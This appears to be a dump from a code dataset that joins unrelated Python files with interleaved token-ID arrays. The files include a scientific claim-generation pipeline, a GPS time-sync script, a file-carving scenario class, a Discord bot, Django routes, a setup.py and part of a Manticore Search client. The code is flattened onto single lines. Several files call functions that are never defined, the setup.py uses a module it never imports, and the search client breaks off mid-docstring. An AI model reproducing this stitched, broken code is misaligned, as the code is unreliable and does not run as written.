import argparse import random import numpy as np import torch import spacy import scispacy import json import os import pandas as pd from spacy.training import Example from tqdm import tqdm from datasets import Dataset from functools import partial from custom_trainer import CustomTrainer import ipdb from collections import defaultdict from scipy.special import softmax from spacy.util import minibatch, compounding from generate_claim_variants import kbin from transformers import pipeline import transformers from transformers import ( AutoModelForSeq2SeqLM, AutoTokenizer, Seq2SeqTrainingArguments, HfArgumentParser, set_seed, PreTrainedTokenizerBase, PreTrainedModel, DataCollatorForSeq2Seq, AutoModelForCausalLM ) from ParagraphJointModel.paragraph_model_dynamic import JointParagraphClassifier from ParagraphJointModel.dataset import SciFactParagraphBatchDataset from ParagraphJointModel.scifact_joint_paragraph_dynamic_prediction import predict, post_process_stance from ParagraphJointModel.util import stance2json, rationale2json, merge_json def qg_data_preprocess(tokenizer, dset, examples): """ Data preprocessor for QG model input :param tokenizer: QG model tokenizer :param dset: Dataset name, either 'local' for citances or a dataset such as squad :param examples: The actual data to preprocess :return: Tokenizer encoded inputs to QG model """ if dset == 'local': inputs = [ctx + ' ' + ans[0]['text'] for ctx, ans in zip(examples['context'], examples['answers'])] else: inputs = [ctx + ' ' + ans['text'][0] for ctx, ans in zip(examples['context'], examples['answers'])] targets = [q for i,q in enumerate(examples['question'])] model_inputs = tokenizer(inputs, max_length=tokenizer.model_max_length, truncation=True) # Setup the tokenizer for targets with tokenizer.as_target_tokenizer(): labels = tokenizer(targets, max_length=tokenizer.model_max_length, truncation=True) model_inputs["labels"] = labels["input_ids"] return model_inputs def q2c_data_preprocess(tokenizer, dset, examples): """ Data preprocessor for claim generation model input :param tokenizer: claim generation model tokenizer :param dset: Dataset name, either 'citeworth' for citances or a dataset such as squad :param examples: The actual data to preprocess :return: Tokenizer encoded inputs to claim generation model """ if dset == 'citeworth': inputs = [ctx + ' ' + ans['text'] for ctx, ans in zip(examples['generated_question'], examples['answer'])] targets = [''] * len(inputs) else: inputs = [q + ' ' + a for q,a in zip(examples['question'], examples['answer'])] targets = [a for a in examples['turker_answer']] model_inputs = tokenizer(inputs, max_length=tokenizer.model_max_length, truncation=True) # Setup the tokenizer for targets with tokenizer.as_target_tokenizer(): labels = tokenizer(targets, max_length=tokenizer.model_max_length, truncation=True) model_inputs["labels"] = labels["input_ids"] return model_inputs def sort_fc_claims(preds, original_claims): """ Scores each claim using the formula: $$ s = p[support] - p[contradict] $$ Returns the claims sorted by this score in descending order :param preds: The raw logits from ParagraphJointModel for each evidence sample for each claim :param original_claims: The original generated claims :return: Sorted claims with their fact checking score """ orig_claim_map = {c['id']: c for c in original_claims} for p in preds: all_probs = [softmax(p['evidence'][e]['score']) for e in p['evidence']] score = max(p[1] - p[2] for p in all_probs) orig_claim_map[p['id']]['score'] = score return list(sorted([v for v in orig_claim_map.values()], key=lambda x: x['score'], reverse=True)) def save_ner_model(output_dir, nlp, new_model_name): """ Save a spacy model :param output_dir: Where to save the model :param nlp: The scispacy model to save :param new_model_name: New name for the spacy model :return: """ output_dir = f'ner_models/{output_dir}' if output_dir is not None: if not os.path.exists(output_dir): os.makedirs(output_dir) nlp.meta["name"] = new_model_name nlp.to_disk(output_dir) print("Saved model to", output_dir) def get_named_entities(citances, nlp): """ Extract named entities from a set of citances :param citances: :param nlp: :return: List of dicts containing input to question generation model """ question_gen_input = defaultdict(list) for citance_dict in tqdm(citances): citance = citance_dict['text'] if 'text' in citance_dict else citance_dict['claims'] entities = [] entity_text = [] doc = nlp(citance) entities.extend(list(doc.ents)) entity_text.extend([e.text for e in doc.ents]) for ent in entities: answers = [{'text': ent.text, 'type': ent.label_, 'start': ent.start_char, 'pos': [t.pos_ for t in ent]}] if 'doc_id' in citance_dict: sample = {'id': citance_dict['doc_id'], 'paper_id': citance_dict['paper_id'], 'context': citance_dict['context'], 'citance': citance, 'answers': answers, 'question': '', 'evidence': citance_dict['evidence']} else: sample = {'id': '', 'paper_id': '', 'context': citance_dict['context'], 'citance': citance, 'answers': answers, 'question': '', 'evidence': ''} for k in sample: question_gen_input[k].append(sample[k]) return question_gen_input def run_question_generation(trainer, dset, model, tokenizer, device, num_beams): """ Generate a set of questions from a source text and list of answers (named entities) :param trainer: HuggingFace trainer :param dset: The dataset to generate questions from :param model: Question generation model :param tokenizer: Tokenizer for the provided model :param device: torch device to run on :param num_beams: Number of beams for beam search :return: A list of dicts containing input to the claim generation model """ dl = trainer.get_test_dataloader(dset) all_samples = [] for b in tqdm(dl): input_ids = b['input_ids'].to(device) samples = model.generate( input_ids, num_beams=num_beams, max_length=tokenizer.model_max_length, early_stopping=True ) all_samples.extend(list(samples.detach().cpu().numpy())) claim_gen_input = defaultdict(list) for id, con, ans, q, citance, paper_id, evidence in zip(dset['id'], dset['context'], dset['answers'], all_samples, dset['citance'], dset['paper_id'], dset['evidence']): gen_question = tokenizer.decode(q, skip_special_tokens=True, clean_up_tokenization_spaces=False) sample = {'id': id, 'paper_id': paper_id, 'context': con, 'answer': ans[0], 'generated_question': gen_question, 'citance': citance, 'evidence': evidence} for k in sample: claim_gen_input[k].append(sample[k]) return claim_gen_input def run_claim_generation(trainer, dset, model, tokenizer, device, num_beams): """ Generate a set of claims from a question and list of answers (named entities) :param trainer: HuggingFace trainer :param dset: The dataset to generate claims from :param model: Claim generation model :param tokenizer: Tokenizer for the provided model :param device: torch device to run on :param num_beams: Number of beams for beam search :return: A list of dicts containing the generated claims and a list of dicts containing the input to external fact checking model """ dl = trainer.get_test_dataloader(dset) all_samples = [] for b in tqdm(dl): input_ids = b['input_ids'].to(device) samples = model.generate( input_ids, num_beams=num_beams, max_length=tokenizer.model_max_length, early_stopping=True ) all_samples.extend(list(samples.detach().cpu().numpy())) generated_claims = [] fc_claim_inputs = [] count = defaultdict(int) for id, con, ans, q, claim, citance, paper_id, evidence in zip(dset['id'], dset['context'], dset['answer'], dset['generated_question'], all_samples, dset['citance'], dset['paper_id'], dset['evidence']): gen_claim = tokenizer.decode(claim, skip_special_tokens=True, clean_up_tokenization_spaces=False) n = count[id] generated_claims.append( {'id': f"{id}_{n}", 'paper_id': paper_id, 'context': con, 'citance': citance, 'answer': ans, 'generated_question': q, 'generated_claim': gen_claim, 'evidence': evidence}) fc_claim_inputs.append({'id': f"{id}_{n}", 'claim': gen_claim, 'evidence': {}, 'cited_doc_ids': evidence, 'retrieved_doc_ids': evidence}) count[id] += 1 return generated_claims, fc_claim_inputs def retrain_ner_model(ner_data, nlp): """ Run NER training starting from a given spacy model :param ner_data: NER training data :param nlp: Spacy model to start from :return: Trained spacy model """ print(len(ner_data)) random.shuffle(ner_data) N = int(0.8*len(ner_data)) #Use 20% for validation ner_training_data = ner_data[:N] ner_validation_data = ner_data[N:] pipe_exceptions = ["ner", "trf_wordpiecer", "trf_tok2vec"] unaffected_pipes = [pipe for pipe in nlp.pipe_names if pipe not in pipe_exceptions] best_f = 0.0 patience = 10 pcounter = 0 with nlp.disable_pipes(*unaffected_pipes): # Training for 100 iterations w/ early stopping for iteration in range(100): # shuufling examples before every iteration random.shuffle(ner_training_data) losses = {} # batch up the examples using spaCy's minibatch batches = minibatch(ner_training_data, size=compounding(4.0, 32.0, 1.001)) for batch in batches: #texts, annotations = zip(*batch) nlp.update( batch, # batch of annotations drop=0.1, # dropout - make it harder to memorise data losses=losses, ) #print("Losses", losses) # Get validation scores f1 = nlp.evaluate(ner_validation_data)['ents_f'] print(f"Eval f1: {f1}") if f1 > best_f: best_f = f1 save_ner_model("curriculum_learning", nlp, "cl-model") pcounter = 0 else: pcounter += 1 if pcounter == patience: break return spacy.load("ner_models/curriculum_learning") if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument("--train_citances", help="Location of the citance data", required=True, type=str) parser.add_argument("--val_citances", help="Location of the validation citance data", required=True, type=str) parser.add_argument("--test_citances", help="Location of the test citance data", required=True, type=str) parser.add_argument("--qg_model_name", help="Name of the model to use for question generation", required=True, type=str) parser.add_argument("--q2c_model_name", help="Name of the model to use for question generation", required=True, type=str) parser.add_argument("--fc_model_name", help="Name of the fact checking model", required=True, default='roberta-large') parser.add_argument("--fc_model_checkpoint", help="Name of the fact checking model", required=False, default=None) parser.add_argument("--external_corpus_file", help="Evidence corpus file", required=True, type=str) parser.add_argument("--internal_corpus_file", help="Other paragraphs from citance documents", required=True, type=str) parser.add_argument("--seed", help="Random seed", type=int, default=1000) parser.add_argument("--num_beams", help="Number of beams for beam search", type=int, default=1) parser.add_argument("--output_dir", help="Directory to output files", required=True, type=str) args = parser.parse_args() enforce_reproducibility(args.seed) # See if CUDA available device = torch.device("cpu") if torch.cuda.is_available(): print("Training on GPU") device = torch.device("cuda:0") # Setup nlp = spacy.load('en_core_sci_md') # QG model setup qg_model = args.qg_model_name qg_tokenizer = AutoTokenizer.from_pretrained(qg_model) qg_model = AutoModelForSeq2SeqLM.from_pretrained(qg_model) # Q2C model setup q2c_model = args.q2c_model_name q2c_tokenizer = AutoTokenizer.from_pretrained(q2c_model) q2c_model = AutoModelForSeq2SeqLM.from_pretrained(q2c_model) # FC model setup fc_tokenizer = AutoTokenizer.from_pretrained(args.fc_model_name) fc_model = JointParagraphClassifier(args.fc_model_name, 1024, 0.0) state_dict = torch.load(args.fc_model_checkpoint) # strict = false because of bert.embeddings.position_ids mismatch fc_model.load_state_dict(state_dict, strict=False) # Language model for negative claim generation lm = AutoModelForCausalLM.from_pretrained('gpt2') lm_tk = AutoTokenizer.from_pretrained('gpt2') ########### Run NER on input with open(args.train_citances) as f: citances = [json.loads(l) for l in f] with open(args.val_citances) as f: val_citances = [json.loads(l) for l in f] with open(args.test_citances) as f: test_citances = [json.loads(l) for l in f] ner_data = [] output_claims = [] if not os.path.exists(f"{args.output_dir}"): os.makedirs(f"{args.output_dir}") save_dir = f"{args.output_dir}" question_gen_input = get_named_entities(citances, nlp) val_question_gen_input = get_named_entities(val_citances, nlp) test_question_gen_input = get_named_entities(test_citances, nlp) ############ Generate questions from NER qg_model.to(device) preprocessor = partial(qg_data_preprocess, qg_tokenizer, 'local') gen_dset_base = Dataset.from_dict(question_gen_input) val_gen_dset_base = Dataset.from_dict(val_question_gen_input) test_gen_dset_base = Dataset.from_dict(test_question_gen_input) # Filter missing NER #gen_dset_base = gen_dset_base.filter(lambda example: len(example['answers']) > 0) gen_dset = gen_dset_base.map(preprocessor, batched=True) val_gen_dset = val_gen_dset_base.map(preprocessor, batched=True) test_gen_dset = test_gen_dset_base.map(preprocessor, batched=True) data_collator = DataCollatorForSeq2Seq( qg_tokenizer, model=qg_model, label_pad_token_id=-100, padding='longest' ) qg_trainer = CustomTrainer( model=qg_model, tokenizer=qg_tokenizer, data_collator=data_collator ) claim_gen_input = run_question_generation(qg_trainer, gen_dset, qg_model, qg_tokenizer, device, args.num_beams) val_claim_gen_input = run_question_generation(qg_trainer, val_gen_dset, qg_model, qg_tokenizer, device, args.num_beams) test_claim_gen_input = run_question_generation(qg_trainer, test_gen_dset, qg_model, qg_tokenizer, device, args.num_beams) qg_model.to('cpu') ############ Generate claims from questions q2c_model.to(device) preprocessor = partial(q2c_data_preprocess, q2c_tokenizer, 'citeworth') gen_dset_base = Dataset.from_dict(claim_gen_input) val_gen_dset_base = Dataset.from_dict(val_claim_gen_input) test_gen_dset_base = Dataset.from_dict(test_claim_gen_input) gen_dset = gen_dset_base.map(preprocessor, batched=True) val_gen_dset = val_gen_dset_base.map(preprocessor, batched=True) test_gen_dset = test_gen_dset_base.map(preprocessor, batched=True) data_collator = DataCollatorForSeq2Seq( q2c_tokenizer, model=q2c_model, label_pad_token_id=-100, padding='longest' ) q2c_trainer = CustomTrainer( model=q2c_model, tokenizer=q2c_tokenizer, data_collator=data_collator ) generated_claims, fc_claim_inputs = run_claim_generation(q2c_trainer, gen_dset, q2c_model, q2c_tokenizer, device, args.num_beams) val_generated_claims, _ = run_claim_generation(q2c_trainer, val_gen_dset, q2c_model, q2c_tokenizer, device, args.num_beams) test_generated_claims, _ = run_claim_generation(q2c_trainer, test_gen_dset, q2c_model, q2c_tokenizer, device, args.num_beams) with open(f"{save_dir}/output_test_claims.jsonl", 'wt') as f: for c in test_generated_claims: f.write(json.dumps(c) + '\n') with open(f"{save_dir}/output_scifact_dev_claims.jsonl", 'wt') as f: for c in val_generated_claims: f.write(json.dumps(c) + '\n') q2c_model.to('cpu') # Run FC model fc_model.to(device) #TODO get the data into the right format fc_dev_set = SciFactParagraphBatchDataset(args.external_corpus_file, fc_claim_inputs, sep_token=fc_tokenizer.sep_token, k=0, train=False) rationale_predictions, stance_preds, stance_scores = predict(fc_model, fc_dev_set, 16, args.fc_model_name, fc_tokenizer, device) rationale_json = rationale2json(fc_dev_set.samples, rationale_predictions) stance_json = stance2json(fc_dev_set.samples, stance_preds, stance_scores) stance_json = post_process_stance(rationale_json, stance_json) merged_json = merge_json(rationale_json, stance_json) fc_model.to('cpu') # Rank predictions sorted_fc_claims = sort_fc_claims(merged_json, generated_claims) # Get new entities citance_entity_map = defaultdict(lambda: {'text': '', 'entities': []}) original_claims = [c for c in sorted_fc_claims if c['score'] > 0.5] for c in original_claims: citance_entity_map[c['id']]['text'] = c['citance'] citance_entity_map[c['id']]['entities'].append( (c['answer']['start'], c['answer']['start'] + len(c['answer']['text']), 'ENTITY')) output_claims.extend(original_claims) citances = [c for c in citances if c['doc_id'] not in citance_entity_map] output_claims.extend([c for c in sorted_fc_claims if c['score'] <= 0.5]) with open(f"{save_dir}/added_claims.jsonl", 'wt') as f: for c in output_claims: f.write(json.dumps(c) + '\n') csv_out = [] for c in output_claims: csv_out.append([c['context'], c['citance'], c['generated_claim'], c['score']]) csv_pd = pd.DataFrame(csv_out, columns=['Context', 'Original Sentence', 'Claim', 'Score']) csv_pd.to_csv(f"{save_dir}/ranked_claims.csv", index=None) # Generate training data for fact checking nli = pipeline('sentiment-analysis', model='roberta-large-mnli', return_all_scores=True, device=0) # Generate data for scifact training/evaluation for claim_set in tqdm(test_generated_claims): neg_claims = kbin([claim_set['generated_claim']], nli, lm, lm_tk, device, 3) claim_set['neg_claim'] = neg_claims[0][2] if neg_claims[0] is not None else None # Get corpus so we can pick negative samples for NEI paper_id_to_paragraph = defaultdict(list) with open(args.internal_corpus_file) as f: for l in f: data = json.loads(l) paper_id = data['doc_id'].split('_')[0] paper_id_to_paragraph[paper_id].append(data) # Pick 1/3 to be supports, 1/3 to be contradicts, and 1/3 to be NEI inc = incgen() base_claims_and_evidence = [] for claim_set in test_generated_claims: # Remove ID suffix to get original paper ID original_doc_id = claim_set['id'] original_doc_id = original_doc_id[:original_doc_id.rfind('_')] pos_claim = claim_set['generated_claim'] neg_claim = claim_set['neg_claim'] type = random.randint(0, 2) if type == 0 or neg_claim == None: base_claims_and_evidence.append({ 'id': next(inc), 'claim': pos_claim, 'evidence': {str(doc_id): [{'sentences': [0], 'label': 'SUPPORT'}] for doc_id in claim_set['evidence']}, 'cited_doc_ids': claim_set['evidence'] }) elif type == 1: base_claims_and_evidence.append({ 'id': next(inc), 'claim': neg_claim, 'evidence': {str(doc_id): [{'sentences': [0], 'label': 'CONTRADICT'}] for doc_id in claim_set['evidence']}, 'cited_doc_ids': claim_set['evidence'] }) elif type == 2: nei_type = random.randint(0, 1) if nei_type == 0: base_claims_and_evidence.append({ 'id': next(inc), 'claim': pos_claim, 'evidence': {}, 'cited_doc_ids': [original_doc_id] }) else: base_claims_and_evidence.append({ 'id': next(inc), 'claim': neg_claim, 'evidence': {}, 'cited_doc_ids': [original_doc_id] }) with open(f"{save_dir}/scifact_claims.jsonl", 'wt') as f: for c in base_claims_and_evidence: f.write(json.dumps(c) + '\n')
[ 11748, 1822, 29572, 198, 11748, 4738, 198, 11748, 299, 32152, 355, 45941, 198, 11748, 28034, 198, 11748, 599, 1590, 198, 11748, 629, 8802, 1590, 198, 11748, 33918, 198, 11748, 28686, 198, 11748, 19798, 292, 355, 279, 67, 198, 198, 6738, ...
2.263693
9,841
from typing import List from investing_algorithm_framework import SQLLitePortfolioManager, Position, \ Order from investing_algorithm_framework.core.exceptions import OperationalException from investing_algorithm_framework.core.models import AssetPrice from tests.resources import TestBase
[ 6738, 19720, 1330, 7343, 198, 198, 6738, 14771, 62, 282, 42289, 62, 30604, 1330, 49747, 3069, 578, 13924, 13652, 13511, 11, 23158, 11, 3467, 198, 220, 220, 220, 8284, 198, 6738, 14771, 62, 282, 42289, 62, 30604, 13, 7295, 13, 1069, 11...
4.183099
71
from auror_core.v2.params import Params class {{cookiecutter.project_name}}(Params): pass
[ 6738, 45714, 273, 62, 7295, 13, 85, 17, 13, 37266, 1330, 2547, 4105, 198, 198, 4871, 22935, 44453, 8968, 353, 13, 16302, 62, 3672, 11709, 7, 10044, 4105, 2599, 198, 220, 220, 220, 1208 ]
2.764706
34
import sys, getopt from os import path import time from configure import Configure from scanner import FoundFile, Scanner from checker import Checker from taker import Taker print("** Welcome to MyWayback! **") args = sys.argv[1:] if len(args) == 0: print("ERROR: Missing command-line argument!") exit(0) targetbasedir = args[0] print("Target directory: {}".format(targetbasedir)) snapshotname = time.strftime("%Y-%m-%d--%H-%M") print("Snaphost name: {}".format(snapshotname)) cfg = Configure() cfg.read_configdir(path.join(targetbasedir, 'config')) print("Scan dirs (+):") print(cfg.scandirs) print("Skip dirs (-):") print(cfg.skipdirs) sca = Scanner() #s.scan_dirtree('/home/jara/Dokumenty') sca.scan_confdirs(cfg) print() print("SCANNER FINISHED: Number of found files: {}".format(sca.num_foundfiles)) print() # for i in range(0, 10): # ff = s.foundfiles.pop() # print(ff.order, ff.fullname()) che = Checker(targetbasedir) tak = Taker(targetbasedir, snapshotname) batchsize = 1000 while sca.foundfiles or che.digestedfiles: che.digest_files(sca, batchsize) tak.take_files(che, batchsize) print("** Finished a backup run with MyWayback! **")
[ 11748, 25064, 11, 651, 8738, 198, 6738, 28686, 1330, 3108, 198, 11748, 640, 198, 6738, 17425, 1330, 17056, 495, 198, 6738, 27474, 1330, 4062, 8979, 11, 20937, 1008, 198, 6738, 2198, 263, 1330, 6822, 263, 198, 6738, 256, 3110, 1330, 309,...
2.721311
427
"""This module contains file carving scenario related classes and functions.""" from multimethod import multimethod import woodblock.fragments class Scenario(list): """This class represents a file carving scenario. A scenario contains fragments in a certain order. Args: name: The name of the scenario. """ @multimethod def add(self, fragment: woodblock.fragments.FillerFragment): """Add a filler fragment to the scenario. Args: fragment: The fragment to be added. """ self.append(fragment) @multimethod def add(self, fragment: woodblock.fragments.FileFragment): # pylint: disable=function-redefined """Add a file fragment to the scenario. Args: fragment: The fragment to be added. """ self.append(fragment) @multimethod def add(self, fragments: list): # pylint: disable=function-redefined """Add a list of fragments to the scenario. Args: fragments: The list of fragments to be added. """ self._add_from_iterable(fragments) @multimethod def add(self, fragments: tuple): # pylint: disable=function-redefined """Add a tuple of fragments to the scenario. Args: fragments: The tuple of fragments to be added. """ self._add_from_iterable(fragments) @property def metadata(self) -> dict: """Return the scenario metadata.""" meta = {'name': self.name, 'files': list()} files = dict() for frag in self: frag_meta = frag.metadata file_id = frag_meta['file']['id'] if file_id not in files: files[file_id] = {'original': frag_meta['file'], 'fragments': list()} files[file_id]['fragments'].append(frag_meta['fragment']) meta['files'] = list(files.values()) self._sort_fragments_by_number(meta) return meta @staticmethod
[ 37811, 1212, 8265, 4909, 2393, 39510, 8883, 3519, 6097, 290, 5499, 526, 15931, 198, 198, 6738, 1963, 38813, 2065, 1330, 1963, 38813, 2065, 198, 198, 11748, 4898, 9967, 13, 8310, 363, 902, 628, 198, 4871, 1446, 39055, 7, 4868, 2599, 198,...
2.414545
825
from django.urls import path from . import views from django.contrib.auth import views as auth_views urlpatterns = [ path('registro/', views.registro, name='registro'), path('login/', auth_views.LoginView.as_view(template_name='users/login.html'), name='login'), path('logout/', auth_views.LogoutView.as_view(), name='logout'), path('minhas_reservas/', views.minhas_reservas, name='minhas_reservas'), path('ser_anfitriao/', views.ser_anfitriao, name='ser_anfitriao'), ]
[ 6738, 42625, 14208, 13, 6371, 82, 1330, 3108, 198, 6738, 764, 1330, 5009, 198, 6738, 42625, 14208, 13, 3642, 822, 13, 18439, 1330, 5009, 355, 6284, 62, 33571, 198, 198, 6371, 33279, 82, 796, 685, 198, 220, 220, 220, 3108, 10786, 2301,...
2.648649
185
from setuptools import setup import re APP_NAME = 'ptlearn' VERSION = '0.1' if __name__ == '__main__': check_version() setup( name=APP_NAME, version=VERSION, description='A Python machine learing library, based on PyTorch', long_description=readme(), classifiers=[ 'Development Status :: 2 - Pre-Alpha', 'Intended Audience :: Education', 'Intended Audience :: Science/Research', 'License :: OSI Approved :: MIT License', 'Operating System :: MacOS', 'Operating System :: POSIX :: Linux', 'Programming Language :: Python :: 3.6', 'Topic :: Software Development', 'Topic :: Scientific/Engineering', ], url='https://github.com/SYAN83/pytorch-learn', author='Shu Yan', author_email='yanshu.usc@gmail.com', license='MIT', packages=setuptools.find_packages(exclude=['tests']), install_requires=[ 'torch>=1.0.0', ], include_package_data=True, zip_safe=False )
[ 6738, 900, 37623, 10141, 1330, 9058, 198, 11748, 302, 628, 198, 24805, 62, 20608, 796, 705, 457, 35720, 6, 198, 43717, 796, 705, 15, 13, 16, 6, 628, 628, 198, 361, 11593, 3672, 834, 6624, 705, 834, 12417, 834, 10354, 198, 220, 220, ...
2.197628
506
#!/usr/bin/python # Task to maintain system RTC aligned with GPS time, coming from a # Teltonka RUT955 terminal. import socket import sys import time import os import logging import logging.handlers if __name__ == "__main__": logger = logging.getLogger('GPS_Task') logger.setLevel(logging.DEBUG) handler = logging.handlers.RotatingFileHandler( "/mnt/logs/gps.log", maxBytes=1024*1024, backupCount=5) logger.addHandler(handler) logger.info(logString("*** Starting execution")) oldTimeStamp = 0.0 isFirst = True myOwnIP = getIP() logger.info(logString("This station's inferred IP: %s" % myOwnIP)) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) logger.info(logString("Socket allocated")) try: sock.bind((myOwnIP, 17050)) logger.info(logString("Socket opened on port 17050 (check on Teltonika if same)")) except Exception as e: logger.error(logString("*** Terminating execution - Error: socket not opened: %s", str(e))) sys.exit(1) while True: # Get status from /mnt/ramdisk/gps.dat state = getState() # Act, based on state if state == 1: # Active # Get most recent data from GPS pool (rvTimeStamp, ivPriority, rvLon, rvLat, ivHgt, ivAng, ivSat, ivSpeed) = getGpsData(sock, '192.162.1.1', 17050) (rTimeStamp, iPriority, rLon, rLat, iHgt, iAng, iSat, iSpeed) = getMostRecentGpsLine(rvTimeStamp, ivPriority, rvLon, rvLat, ivHgt, ivAng, ivSat, ivSpeed) logger.info(logString("Last GPS fix: %f %f %f" % (rLat, rLon, iHgt))) now = time.time() deltaTime = abs(now - rTimeStamp) if deltaTime > 10: timeAlarm = "***" setRTC(rTimeStamp) logger.info(logString("RTC updated to GPS")) else: timeAlarm = "" # Write GPS status data f = open("/mnt/ramdisk/gps_state.txt", "w") f.write("Time delta (RTC - GPS): %f %s\n" % (now - rTimeStamp, timeAlarm)) f.write("Lat, Lon: %f, %f\n" % (rLat, rLon)) f.write("Altitude: %d\n" % iHgt) f.write("Angle: %d\n" % iAng) f.write("Speed: %d\n" % iSpeed) f.write("Satellites: %d\n" % iSat) f.write("Message priority: %d\n" % iPriority) f.close() # Write positional data in computer-friendly form f = open("/mnt/ramdisk/Position.csv", "w") f.write("%f, %f, %d\n" % (rLat, rLon, iHgt)) f.close() if isFirst: isFirst = False else: if deltaTime > 60.0: # No GPS updates ever since: force modem reboot.... logger.warning(logString("GPS is apparently blocked")) isFirst = True oldTimeStamp = 0.0 else: oldTimeStamp = rTimeStamp else: # Waiting: do nothing but waiting a little bit time.sleep() logger.info(logString("*** Terminating execution"))
[ 2, 48443, 14629, 14, 8800, 14, 29412, 198, 198, 2, 15941, 284, 5529, 1080, 371, 4825, 19874, 351, 15472, 640, 11, 2406, 422, 257, 198, 2, 12088, 1122, 4914, 371, 3843, 24, 2816, 12094, 13, 198, 198, 11748, 17802, 198, 11748, 25064, ...
2.192037
1,281
import discord from discord.ext import commands, tasks import asyncio import time import datetime import json import aiohttp import os from discord import Webhook, AsyncWebhookAdapter client = commands.AutoShardedBot(command_prefix=".") Client = discord.Client() client.remove_command('help') with open("adat.json") as f: adat = json.load(f) @client.event @client.command() @tasks.loop(minutes=5) @client.command() client.run("TOKEN")
[ 11748, 36446, 198, 6738, 36446, 13, 2302, 1330, 9729, 11, 8861, 198, 11748, 30351, 952, 198, 11748, 640, 198, 11748, 4818, 8079, 198, 11748, 33918, 198, 11748, 257, 952, 4023, 198, 11748, 28686, 198, 6738, 36446, 1330, 5313, 25480, 11, ...
3.054795
146
# coding: utf-8 # Manticore Search Client # Copyright (c) 2020-2021, Manticore Software LTD (https://manticoresearch.com) # # All rights reserved # from __future__ import absolute_import import re # noqa: F401 # python 2 and python 3 compatibility library import six from six.moves.urllib.parse import quote from manticoresearch.api_client import ApiClient from manticoresearch.exceptions import ( # noqa: F401 ApiTypeError, ApiValueError ) class SearchApi(object): """NOTE: This class is auto generated by OpenAPI Generator Ref: https://openapi-generator.tech Do not edit the class manually. """ def percolate(self, index, percolate_request, **kwargs): # noqa: E501 """Perform reverse search on a percolate index # noqa: E501 Performs a percolate search. This method must be used only on percolate indexes. Expects two parameters: the index name and an object with array of documents to be tested. An example of the documents object: ``` {\"query\":{\"percolate\":{\"document\":{\"content\":\"sample content\"}}}} ``` Responds with an object with matched stored queries: ``` {'timed_out':false,'hits':{'total':2,'max_score':1,'hits':[{'_index':'idx_pq_1','_type':'doc','_id':'2','_score':'1','_source':{'query':{'match':{'title':'some'},}}},{'_index':'idx_pq_1','_type':'doc','_id':'5','_score':'1','_source':{'query':{'ql':'some | none'}}}]}} ``` # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.percolate(index, percolate_request, async_req=True) >>> result = thread.get() :param index: Name of the percolate index (required) :type index: str :param percolate_request: (required) :type percolate_request: PercolateRequest :param async_req: Whether to execute the request asynchronously. :type async_req: bool, optional :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :type _preload_content: bool, optional :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: Returns the result object. If the method is called asynchronously, returns the request thread. :rtype: SearchResponse """ kwargs['_return_http_data_only'] = True return self.percolate_with_http_info(index, percolate_request, **kwargs) # noqa: E501 def percolate_with_http_info(self, index, percolate_request, **kwargs): # noqa: E501 """Perform reverse search on a percolate index # noqa: E501 Performs a percolate search. This method must be used only on percolate indexes. Expects two parameters: the index name and an object with array of documents to be tested. An example of the documents object: ``` {\"query\":{\"percolate\":{\"document\":{\"content\":\"sample content\"}}}} ``` Responds with an object with matched stored queries: ``` {'timed_out':false,'hits':{'total':2,'max_score':1,'hits':[{'_index':'idx_pq_1','_type':'doc','_id':'2','_score':'1','_source':{'query':{'match':{'title':'some'},}}},{'_index':'idx_pq_1','_type':'doc','_id':'5','_score':'1','_source':{'query':{'ql':'some | none'}}}]}} ``` # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.percolate_with_http_info(index, percolate_request, async_req=True) >>> result = thread.get() :param index: Name of the percolate index (required) :type index: str :param percolate_request: (required) :type percolate_request: PercolateRequest :param async_req: Whether to execute the request asynchronously. :type async_req: bool, optional :param _return_http_data_only: response data without head status code and headers :type _return_http_data_only: bool, optional :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :type _preload_content: bool, optional :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :param _request_auth: set to override the auth_settings for an a single request; this effectively ignores the authentication in the spec for a single request. :type _request_auth: dict, optional :return: Returns the result object. If the method is called asynchronously, returns the request thread. :rtype: tuple(SearchResponse, status_code(int), headers(HTTPHeaderDict)) """ local_var_params = locals() all_params = [ 'index', 'percolate_request' ] all_params.extend( [ 'async_req', '_return_http_data_only', '_preload_content', '_request_timeout', '_request_auth' ] ) for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method percolate" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'index' is set if self.api_client.client_side_validation and ('index' not in local_var_params or # noqa: E501 local_var_params['index'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `index` when calling `percolate`") # noqa: E501 # verify the required parameter 'percolate_request' is set if self.api_client.client_side_validation and ('percolate_request' not in local_var_params or # noqa: E501 local_var_params['percolate_request'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `percolate_request` when calling `percolate`") # noqa: E501 collection_formats = {} path_params = {} if 'index' in local_var_params: path_params['index'] = local_var_params['index'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'percolate_request' in local_var_params: body_params = local_var_params['percolate_request'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 res = self.api_client.call_api( '/json/pq/{index}/search', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='SearchResponse', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats, _request_auth=local_var_params.get('_request_auth')) return res def search(self, search_request, **kwargs): # noqa: E501 """Performs a search # noqa: E501 Expects an object with mandatory properties: * the index name * the match query object Example : ``` 